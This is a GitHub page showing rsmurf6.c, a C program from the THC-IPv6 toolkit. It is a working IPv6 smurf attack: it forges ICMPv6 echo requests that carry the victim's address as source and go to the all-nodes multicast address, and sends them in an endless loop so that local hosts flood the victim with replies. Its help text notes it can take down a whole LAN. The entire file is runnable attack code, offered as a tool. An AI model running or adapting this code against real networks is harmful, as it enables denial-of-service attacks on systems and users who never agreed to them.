-
Notifications
You must be signed in to change notification settings - Fork 217
/
rsmurf6.c
65 lines (57 loc) · 1.94 KB
/
rsmurf6.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"
void help(char *prg) {
printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf("Syntax: %s interface victim-ip\n\n", prg);
printf("Smurfs the local network of the victim. Note: this depends on an\n");
printf("implementation error, currently only verified on Linux.\n");
printf("Evil: \"ff02::1\" as victim will DOS your local LAN completely\n");
// printf("Use -r to use raw mode.\n\n");
exit(-1);
}
int main(int argc, char *argv[]) {
unsigned char *pkt = NULL, buf[16], fakemac[7] = "\x00\x00\xde\xad\xbe\xef";
unsigned char *multicast6, *victim6;
int pkt_len = 0;
char * interface;
int rawmode = 0;
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]);
if (strcmp(argv[1], "-r") == 0) {
thc_ipv6_rawmode(1);
rawmode = 1;
argv++;
argc--;
}
interface = argv[1];
victim6 = thc_resolve6(argv[2]);
multicast6 = thc_resolve6("ff02::1");
if (thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
memset(buf, 'A', 16);
if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len,
multicast6, victim6, 0, 0, 0, 0, 0)) ==
NULL)
return -1;
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe,
(unsigned char *)&buf, 16, 0) < 0)
return -1;
if (thc_generate_pkt(interface, fakemac, NULL, pkt, &pkt_len) < 0) {
fprintf(stderr, "Error: Can not generate packet, exiting ...\n");
exit(-1);
}
printf("Starting rsmurf6 against %s (Press Control-C to end) ...\n", argv[2]);
while (1)
thc_send_pkt(interface, pkt, &pkt_len);
return 0;
}